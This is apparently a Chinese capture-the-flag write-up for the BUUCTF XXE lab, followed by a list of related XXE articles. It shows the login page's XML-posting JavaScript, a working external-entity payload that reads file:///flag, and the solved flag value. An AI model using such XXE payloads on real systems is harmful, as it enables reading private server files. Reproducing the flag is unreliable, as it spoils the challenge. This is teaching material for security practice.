BUU XXE COURSE

发现输入的username被alert了
查源码

onclick="XMLFunction()"

抓包看xml格式
回来看控制台
发现js的xml应用

<script type="text/javascript">function XMLFunction(){var xml = '' +'<?xml version="1.0" encoding="UTF-8"?>' +'<root>' +' <username>' + $('#username').val() + '</username>' +' <password>' + $('#password').val() + '</password>' +' </root>';var xmlhttp = new XMLHttpRequest();xmlhttp.onreadystatechange = function () {if(xmlhttp.readyState == 4){console.log(xmlhttp.readyState);console.log(xmlhttp.responseText);alert(xmlhttp.responseText);}}xmlhttp.open("POST","login.php",true);xmlhttp.send(xml);};</script>

构造xxe攻击
这是post包传的时候记得把注释删去

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY flag SYSTEM "file:///flag"><!--构造实体-->
]>
<root>
<username>&flag;</username><!--输出flag实体-->
<password>2333</password>
</root>

flag{6866a844-3788-4a9d-9909-1d9d9943f56f}

BUU XXE COURSE相关推荐

java中xxe漏洞修复方法
java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...
java SAX 防xml注入,如何防止XML注入像XML Bomb和XXE攻击
您是否尝试过 OWASP page的以下代码段? import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.P ...
XXE漏洞检测及代码执行过程
这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等．首先存在漏洞的web服务一定是存 ...
switchyomega插件_CTF|你所关注的CTFer都在用的插件合集【附：XXE补给+CTF训练集】...
不看后悔系列,建议收藏相信大家对 CTF 都不陌生了,今天为大家带来了一系列 CTF 必备 Chrome 插件. CTF 可能很多人想学 CTF,但又怕零基础学不懂.其实,CTF 并没有那么难. C ...
zimbra xxe+ssrf 导致 getshell
前言 2019年3月13号,国外一名安全研究员在他的博客上公布了zimbra的这起漏洞,但是其中并未提到一些漏洞的利用细节,在此我将整个漏洞的利用过程进行复现. 原文链接:https://blog.t ...
xxe漏洞攻防简介 xml 引用外部实体构造恶意内容
目录一.XML基础知识二.XML外部实体注入(XML External Entity) 三.客户端XXE案例四.防御XXE攻击一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言 ...
cve-2017-12629 apache solr xxe rce 漏洞分析
Versions Affected Apache Solr before 7.1.0 with Apache Lucene before 7.1 Elasticsearch, although it ...
浅谈XXE漏洞攻击与防御——本质上就是注入，盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
XXE Lab：1题解
思路题目已经提示是XXE的专项练习,所以,直接找XXE问题. 难度入门端口扫描 nmap -sS -A 10.129.10.64 发现HTTP服务.Apache 2.4.27中间件.robots ...
1016.XXE漏洞攻防学习
前言对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识要了解xxe漏洞,那么一定得先 ...

BUU XXE COURSE

BUU XXE COURSE相关推荐

最新文章

热门文章